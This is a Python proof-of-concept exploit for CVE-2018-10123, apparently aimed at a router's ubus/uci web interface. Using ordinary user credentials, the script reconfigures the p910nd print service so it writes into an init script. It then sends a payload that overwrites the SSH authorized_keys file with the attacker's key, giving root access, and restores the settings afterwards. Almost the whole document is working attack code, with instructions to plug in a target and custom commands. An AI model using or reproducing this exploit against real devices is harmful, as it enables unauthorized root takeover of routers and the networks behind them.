''' Any authenticated user can modify the configuration for it in a way which allows them to read and append to any file as root. This leads to information disclosure and remote code execution. This vulnerability has been assigned the CVE ID: CVE-2018-10123. This PoC requires Python 3.6 and a module called websocket-client which you can install by evoking pip install websocket-client. Please note that if you wish to use this, you should edit lines 58-61 of the script to include the proper IP, username, password and SSH key. You may also edit line 63 to include your own code for execution. ''' #!/usr/bin/python3 import json import sys import socket import os import time from websocket import create_connection def ubusAuth(host, username, password): ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"]) req = json.dumps({"jsonrpc":"2.0","method":"call", "params":["00000000000000000000000000000000","session","login", {"username": username,"password":password}], "id":666}) ws.send(req) response = json.loads(ws.recv()) ws.close() try: key = response.get('result')[1].get('ubus_rpc_session') except IndexError: return(None) return(key) def ubusCall(host, key, namespace, argument, params={}): ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"]) req = json.dumps({"jsonrpc":"2.0","method":"call", "params":[key,namespace,argument,params], "id":666}) ws.send(req) response = json.loads(ws.recv()) ws.close() try: result = response.get('result')[1] except IndexError: if response.get('result')[0] == 0: return(True) return(None) return(result) def sendData(host, port, data=""): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall(data.encode('utf-8')) s.shutdown(socket.SHUT_WR) s.close() return(None) def recvData(host, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) data = s.recv(1024) s.shutdown(socket.SHUT_WR) s.close() return(data) if __name__ == "__main__": host = "192.168.1.1" username = "user" password = "user" key = "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427" payload = (""" /bin/echo "%s" > /etc/dropbear/authorized_keys; """ % key) print("Authenticating...") key = ubusAuth(host, username, password) if (not key): print("Auth failed!") sys.exit(1) print("Got key: %s" % key) print("Enabling p910nd and setting up exploit...") pwn910nd = ubusCall(host, key, "uci", "set", {"config":"p910nd", "type":"p910nd", "values": {"enabled":"1", "interface":"lan", "port":"0", "device":"/etc/init.d/p910nd"}}) if (not pwn910nd): print("Enabling p910nd failed!") sys.exit(1) print("Committing changes...") p910ndc = ubusCall(host, key, "uci", "commit", {"config":"p910nd"}) if (not p910ndc): print("Committing changes failed!") sys.exit(1) print("Waiting for p910nd to start...") time.sleep(5) print("Sending key...") sendData(host, 9100, payload) print("Triggerring exploit...") print("Cleaning up...") dis910nd = ubusCall(host, key, "uci", "set", {"config":"p910nd", "type":"p910nd", "values": {"enabled":"0", "device":"/dev/usb/lp0"}}) if (not dis910nd): print("Exploit and clean up failed!") sys.exit(1) p910ndc = ubusCall(host, key, "uci", "commit", {"config":"p910nd"}) if (not p910ndc): print("Exploit and clean up failed!") sys.exit(1) print("Exploitation complete")